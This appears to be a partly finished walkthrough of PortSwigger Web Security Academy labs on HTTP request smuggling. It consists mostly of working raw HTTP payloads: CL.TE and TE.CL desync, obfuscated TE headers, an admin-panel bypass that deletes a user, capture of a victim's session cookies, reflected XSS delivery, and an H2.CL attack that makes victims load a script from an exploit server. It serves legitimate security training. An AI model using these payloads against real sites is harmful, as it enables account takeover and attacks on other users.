IN PROGRESS: WebSecurityAcademy (PortSwigger) – HTTP request smuggling

Walk-through of the HTTP request smuggling vulnerabilities lab on PortSwigger Web Security Academy.

Manually fixing the length fields in request smuggling attacks can be tricky. Use the HTTP Request Smuggler Burp extension.

Although the lab supports HTTP/2, the intended solution requires techniques that are only possible in HTTP/1

Practitioner – HTTP request smuggling, basic CL.TE vulnerability

This lab involves a front-end and back-end server, and the front-end server doesn’t support chunked encoding. The front-end server rejects requests that aren’t using the GET or POST method. To solve the lab, smuggle a request to the back-end server, so that the next request processed by the back-end server appears to use the method GPOST.

Request

Content length: 0\r\n\r\n\r\nG = 8, Burp automatically updated it.

POST / HTTP/1.1
Host: <LAB ID>.web-security-academy.net
Cookie: session=X
Content-Length: 8
Transfer-Encoding: chunked

0


G

Response

HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8
Connection: close
Keep-Alive: timeout=0
Content-Length: 27

"Unrecognized method GPOST"

Practitioner – HTTP request smuggling, basic TE.CL vulnerability

This lab involves a front-end and back-end server, and the back-end server doesn’t support chunked encoding. The front-end server rejects requests that aren’t using the GET or POST method. To solve the lab, smuggle a request to the back-end server, so that the next request processed by the back-end server appears to use the method GPOST.

Uncheck the Update Content-Length option in the Repeater menu.

Request

POST / HTTP/1.1
Host: <LAB ID>.web-security-academy.net
Cookie: session=X
Upgrade-Insecure-Requests: 1
Content-Length: 4
Transfer-Encoding: chunked

61
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 20

Whatever
0

Transfer-Encoding length: GPOST….Whatever = 97 (hex = 61)

GPOST / HTTP/1.1 = 16 + \r\n = 18 chars
Content-Type: application/x-www-form-urlencoded = 47 + \r\n
Content-Length: 20 = 18 + \r\n
\r\n = 2 chars
Whatever = 8 chars, DON'T ADD \r\n

Response

HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8
Connection: close
Keep-Alive: timeout=0
Content-Length: 27

"Unrecognized method GPOST"

Practitioner – HTTP request smuggling, obfuscating the TE header

This lab involves a front-end and back-end server, and the two servers handle duplicate HTTP request headers in different ways. The front-end server rejects requests that aren’t using the GET or POST method. To solve the lab, smuggle a request to the back-end server, so that the next request processed by the back-end server appears to use the method GPOST.

Uncheck the Update Content-Length option in the Repeater menu.

Request

Use request from TE.CL and try to obfuscate the TE header. Add a space before the header:

POST / HTTP/1.1
Host: <LAB ID>.web-security-academy.net
Content-Length: 4
 Transfer-Encoding: chunked

61
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 20

Whatever
0

Transfer-Encoding length: GPOST….Whatever = 97 (hex = 61)

GPOST / HTTP/1.1 = 16 + \r\n = 18 chars
Content-Type: application/x-www-form-urlencoded = 47 + \r\n
Content-Length: 20 = 18 + \r\n
\r\n = 2 chars
Whatever = 8 chars, DON'T ADD \r\n

Response

HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 27

"Unrecognized method GPOST"

Also works with header “tRANSFER-ENCODING: chunked”.

Practitioner – HTTP request smuggling, confirming a CL.TE vulnerability via differential responses

This lab involves a front-end and back-end server, and the front-end server doesn’t support chunked encoding. To solve the lab, smuggle a request to the back-end server, so that a subsequent request for / (the web root) triggers a 404 Not Found response.

Request

POST / HTTP/1.1
Host: <LAB ID>.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Transfer-Encoding: chunked

e
q=smuggling&x=
0

GET /404 HTTP/1.1
Foo: x

Response

HTTP/1.1 200 OK
[...]

Try accessing the home page again.

GET / HTTP/1.1
Host: <LAB ID>.web-security-academy.net
HTTP/2 404 Not Found
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 11

"Not Found"

Practitioner – HTTP request smuggling, confirming a TE.CL vulnerability via differential responses

This lab involves a front-end and back-end server, and the back-end server doesn’t support chunked encoding. To solve the lab, smuggle a request to the back-end server, so that a subsequent request for / (the web root) triggers a 404 Not Found response.

Calculate chunk length (9f)

Copy this request in Burp Suite’s extension Hackvertor. There will be a text “Input: 154”. Add 5 to that number (number of carriage returns, adjust as needed). In the Decoder tab, enter 159 and Encode as Hex. It will give 9f.

POST /404 HTTP/1.1
Host: <LAB ID 32 chars>.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1

Request

POST / HTTP/1.1
Host: <LAB ID 32 chars>.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

9f
POST /404 HTTP/1.1
Host: <LAB ID 32 chars>.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

Response

HTTP/1.1 200 OK
[...]

Try accessing the home page again.

GET / HTTP/1.1
Host: <LAB ID>.web-security-academy.net
HTTP/1.1 404 Not Found
Content-Type: application/json; charset=utf-8
[...]

"Not Found"

Practitioner – Exploiting HTTP request smuggling to bypass front-end security controls, CL.TE vulnerability

This lab involves a front-end and back-end server, and the front-end server doesn’t support chunked encoding. There’s an admin panel at /admin, but the front-end server blocks access to it. To solve the lab, smuggle a request to the back-end server that accesses the admin panel and deletes the user carlos.

Try accessing /admin

GET /admin HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]
HTTP/2 403 Forbidden
Content-Type: application/json; charset=utf-8
Content-Length: 24

"Path /admin is blocked"

Smuggling CL.TE

Send the request twice.

POST / HTTP/1.1
Host: <LAB ID>.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 89
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: <LAB ID>.web-security-academy.net
Foo: x
HTTP/1.1 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
Connection: close
Content-Length: 50

{"error":"Duplicate header names are not allowed"}

The request was blocked due to the second request’s Host header conflicting with the smuggled Host header in the first request.

Request

POST / HTTP/1.1
Host: <LAB ID>.web-security-academy.net:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=

Response

HTTP/1.1 200 OK
[...]

Try accessing the home page again.

GET / HTTP/1.1
Host: <LAB ID>.web-security-academy.net
HTTP/1.1 200 OK
[...]
<div>
<span>carlos - </span>
<a href="/admin/delete?username=carlos">Delete</a>
</div>
[...]

Delete user carlos

POST / HTTP/1.1
Host: <LAB ID>.web-security-academy.net:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
Transfer-Encoding: chunked

0

GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=
HTTP/1.1 200 OK
[...]
GET / HTTP/1.1
Host: <LAB ID>.web-security-academy.net
[...]
HTTP/1.1 302 Found
Location: /admin
[...]

Practitioner – Exploiting HTTP request smuggling to bypass front-end security controls, TE.CL vulnerability

This lab involves a front-end and back-end server, and the back-end server doesn’t support chunked encoding. There’s an admin panel at /admin, but the front-end server blocks access to it. To solve the lab, smuggle a request to the back-end server that accesses the admin panel and deletes the user carlos.

Try accessing /admin

GET /admin HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]
HTTP/2 403 Forbidden
Content-Type: application/json; charset=utf-8
Content-Length: 24

"Path /admin is blocked"

Smuggling TE.CL

In the Hackvertor tab:

POST / HTTP/1.1
Host: <LAB ID>.web-security-academy.net
Content-Length: <@arithmetic(2,'+')><@length><@chunked_dec2hex><@length><@get_chunk/><@/length><@/chunked_dec2hex><@/length><@/arithmetic>
Transfer-Encoding: chunked

<@chunked_dec2hex><@arithmetic(5,'+',',')><@length><@get_chunk/><@/length><@/arithmetic><@/chunked_dec2hex>
<@set_chunk(false)>POST /admin HTTP/1.1
Host: <LAB ID>.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1<@/set_chunk>
0

Copy the output in the Repeater and send the request.

POST / HTTP/1.1
Host: <LAB ID>.web-security-academy.net
Content-Length: 4
Transfer-Encoding: chunked

a1
POST /admin HTTP/1.1
Host: <LAB ID>.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

HTTP/1.1 200 OK
[...]
GET / HTTP/1.1
Host: <LAB ID>.web-security-academy.net
[...]
HTTP/1.1 401 Unauthorized
[...]
Admin interface only available to local users
[...]

Update the smuggling request in the Hackvertor tab to use localhost instead of the LAB ID. Copy the output in the Repeater and send the request.

POST / HTTP/1.1
Host: <LAB ID>.web-security-academy.net
Content-Length: 4
Transfer-Encoding: chunked

71
POST /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

HTTP/1.1 200 OK
[...]
GET / HTTP/1.1
Host: <LAB ID>.web-security-academy.net
[...]
HTTP/1.1 200 OK
[...]
<div>
<span>carlos - </span>
<a href="/admin/delete?username=carlos">Delete</a>
</div>
[...]

Delete user carlos to solve the lab

POST / HTTP/1.1
Host: <LAB ID>.web-security-academy.net
Content-Length: 4
Transfer-Encoding: chunked

88
POST /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0
HTTP/1.1 200 OK
[...]
GET / HTTP/1.1
Host: <LAB ID>.web-security-academy.net
[...]
HTTP/1.1 302 Found
Location: /admin
[...]

Practitioner – Exploiting HTTP request smuggling to reveal front-end request rewriting

This lab involves a front-end and back-end server, and the front-end server doesn’t support chunked encoding. There’s an admin panel at /admin, but it’s only accessible to people with the IP address 127.0.0.1. The front-end server adds an HTTP header to incoming requests containing their IP address. It’s similar to the X-Forwarded-For header but has a different name. To solve the lab, smuggle a request to the back-end server that reveals the header that is added by the front-end server. Then smuggle a request to the back-end server that includes the added header, accesses the admin panel, and deletes the user carlos.

Try accessing /admin

GET /admin HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]
HTTP/2 401 Unauthorized
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 2687
[...]
Admin interface only available if logged in as an administrator, or if requested from 127.0.0.1
[...]

Smuggling CL.TE to find the HTTP header added by the front-end server

We find that the search reflects the search term in the server response.

POST / HTTP/1.1
Host: <LAB ID>.web-security-academy.net
[...]

search=whatever
HTTP/1.1 200 OK
[...]
<h1>1 search results for 'whatever'</h1>
[...]

Send a smuggling request CL.TE to find what HTTP header is added by the front-end server. Send the request twice.

POST / HTTP/1.1
Host: <LAB ID>.web-security-academy.net
Content-Length: 125
Transfer-Encoding: chunked

0

POST / HTTP/1.1
Host: <LAB ID>.web-security-academy.net
Content-Length: 250

search=whatever
HTTP/1.1 200 OK
[...]
<h1>0 search results for 'whateverPOST / HTTP/1.1
X-ZQDdjJ-Ip: 163.116.142.114
Host: <LAB ID>.web-security-academy.net
Content-Length: 125
Transfer-Encoding: chunked

0

POST / HTTP/1.1
Host: <LAB ID>.web-securit'</h1>
[...]

We find header “X-ZQDdjJ-Ip”.

Smuggling CL.TE

Send the request twice.

POST / HTTP/1.1
Host: <LAB ID>.web-security-academy.net
Content-Length: 139
Transfer-Encoding: chunked

0

POST /admin HTTP/1.1
Host: <LAB ID>.web-security-academy.net
X-ZQDdjJ-Ip: 127.0.0.1
Content-Length: 250

HTTP/1.1 200 OK
[...]
<div>
<span>carlos - </span>
<a href="/admin/delete?username=carlos">Delete</a>
</div>
[...]

Delete user carlos to solve the lab

Send this request twice.

POST / HTTP/1.1
Host: <LAB ID>.web-security-academy.net
Content-Length: 162
Transfer-Encoding: chunked

0

POST /admin/delete?username=carlos HTTP/1.1
Host: <LAB ID>.web-security-academy.net
X-ZQDdjJ-Ip: 127.0.0.1
Content-Length: 250

HTTP/1.1 302 Found
Location: /admin
[...]

Practitioner – Exploiting HTTP request smuggling to capture other users’ requests

This lab involves a front-end and back-end server, and the front-end server doesn’t support chunked encoding. To solve the lab, smuggle a request to the back-end server that causes the next user’s request to be stored in the application. Then retrieve the next user’s request and use the victim user’s cookies to access their account.

  • Send the request of the Home page to the Repeater.
  • Change the request to HTTP/1 in the Inspector.
  • Right-click and change the request method to POST.

Find a functionality that can store and retrieve data. Visit the first blog post and post a comment.

Smuggling CL.TE

Put the comment parameter at the end of the post comment request. The user’s request will be stored as a comment.

POST / HTTP/1.1
Host: <LAB ID>.web-security-academy.net
Cookie: session=<session ID>
Content-Type: application/x-www-form-urlencoded
Content-Length: 361
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: <LAB ID>.web-security-academy.net
Cookie: session=<session ID>
Content-Type: application/x-www-form-urlencoded
Content-Length: 935

csrf=GLJhYuGylOPCrwaCGzkiggW7cUmZ3csa&postId=4&name=Whatever&email=whatever%40example.com&website=http%3A%2F%2Fwhatever.com&comment=whatever
HTTP/1.1 200 OK
[...]

Wait until the user sends a request. You may need to resend the smuggling request multiple times, be patient. Adjust the second Content-Length until you get the full user request (or at least the session cookie). Wait for some time, visit the blog post and look at the comments.

GET /post?postId=4 HTTP/1.1
Host: <LAB ID>.web-security-academy.net

HTTP/1.1 200 OK
[...]
<p>whateverGET / HTTP/1.1
Host: <LAB ID>.web-security-academy.net
...
user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
...
cookie: victim-fingerprint=fozXQEwrKGUlXshOd2VitZl1Uy4YSG6n; secret=bbwa1iKfyiQgziB5KAuB66mtJEMFljGG; session=r9vARSXJkMA7aHCkq1ggXIqDQih5OMSj
</p>
[...]

We obtain the victim’s cookies. Send a request to the My account page with the victim’s cookies to solve the lab.

GET /my-account HTTP/1.1
Host: <LAB ID>.web-security-academy.net
cookie: victim-fingerprint=fozXQEwrKGUlXshOd2VitZl1Uy4YSG6n; secret=bbwa1iKfyiQgziB5KAuB66mtJEMFljGG; session=r9vARSXJkMA7aHCkq1ggXIqDQih5OMSj

HTTP/1.1 200 OK
[...]
<p>Your username is: administrator</p>
[...]

Practitioner – Exploiting HTTP request smuggling to deliver reflected XSS

This lab involves a front-end and back-end server, and the front-end server doesn’t support chunked encoding. The application is also vulnerable to reflected XSS via the User-Agent header. To solve the lab, smuggle a request to the back-end server that causes the next user’s request to receive a response containing an XSS exploit that executes alert(1).

Discover the XSS

Click on a blog post. The form to leave a comment contains the user agent as a hidden field.

GET /post?postId=1 HTTP/2
Host: <LAB ID>.web-security-academy.net
User-Agent: Mozilla/5.0 ...
[...]
HTTP/2 200 OK
[...]
<input required type="hidden" name="userAgent" value="Mozilla/5.0 ...">
[...]

Send the request to the Repeater module and change the User-Agent HTTP header. Complete the XSS.

GET /post?postId=1 HTTP/2
Host: <LAB ID>.web-security-academy.net
User-Agent: Whatever"/><script>alert(1)</script>
[...]
HTTP/2 200 OK
[...]
<input required type="hidden" name="userAgent" value="Whatever"/><script>alert(1)</script>
[...]

Smuggling CL.TE

POST / HTTP/1.1
Host: <LAB ID>.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 222
Transfer-Encoding: chunked

0

GET /post?postId=1 HTTP/1.1
Host: <LAB ID>.web-security-academy.net
User-Agent: Whatever"/><script>alert(1)</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

x=1

Send the request many times until the lab is solved.

Practitioner – Response queue poisoning via H2.TE request smuggling

This lab is vulnerable to request smuggling because the front-end server downgrades HTTP/2 requests even if they have an ambiguous length. To solve the lab, delete the user carlos by using response queue poisoning to break into the admin panel at /admin. An admin user will log in approximately every 15 seconds. The connection to the back-end is reset every 10 requests, so don’t worry if you get it into a bad state – just send a few normal requests to get a fresh connection.

Practitioner – H2.CL request smuggling

This lab is vulnerable to request smuggling because the front-end server downgrades HTTP/2 requests even if they have an ambiguous length. To solve the lab, perform a request smuggling attack that causes the victim’s browser to load and execute a malicious JavaScript file from the exploit server, calling alert(document.cookie). The victim user accesses the home page every 10 seconds.

Smuggling H2.CL

POST / HTTP/2
Host: <LAB ID>.web-security-academy.net
Content-Length: 0

SMUGGLED
HTTP/2 200 OK
[...]
GET / HTTP/2
Host: <LAB ID>.web-security-academy.net


HTTP/2 404 Not Found
[...]

Investigate

Sending a request to “/resources” results in a 302 Found redirecting to “/resources/”.

Create the exploit

  • Click on Go to exploit server.
  • In the file name, enter “/resources”.
  • In the Body section, enter the payload below and click Store.
alert(document.cookie)

Attack

Smuggled request must be in HTTP/1 or it will not work (request in the Repeater must be in HTTP/2).

POST / HTTP/2
Host: <LAB ID>.web-security-academy.net
Content-Length: 0

GET /resources HTTP/1.1
Host: exploit-<EXPLOIT SERVER ID>.exploit-server.net
Content-Length: 5

x=1

Submit the request until the lab is solved. You can monitor the Exploit server’s log.

Practitioner – HTTP/2 request smuggling via CRLF injection

Practitioner – HTTP/2 request splitting via CRLF injection

Practitioner – CL.0 request smuggling

Expert- Exploiting HTTP request smuggling to perform web cache poisoning

Expert- Exploiting HTTP request smuggling to perform web cache deception

Expert- Bypassing access controls via HTTP/2 request tunnelling

Expert- Web cache poisoning via HTTP/2 request tunnelling

Expert- Client-side desync

Expert- Browser cache poisoning via client-side desync

Expert- Server-side pause-based request smuggling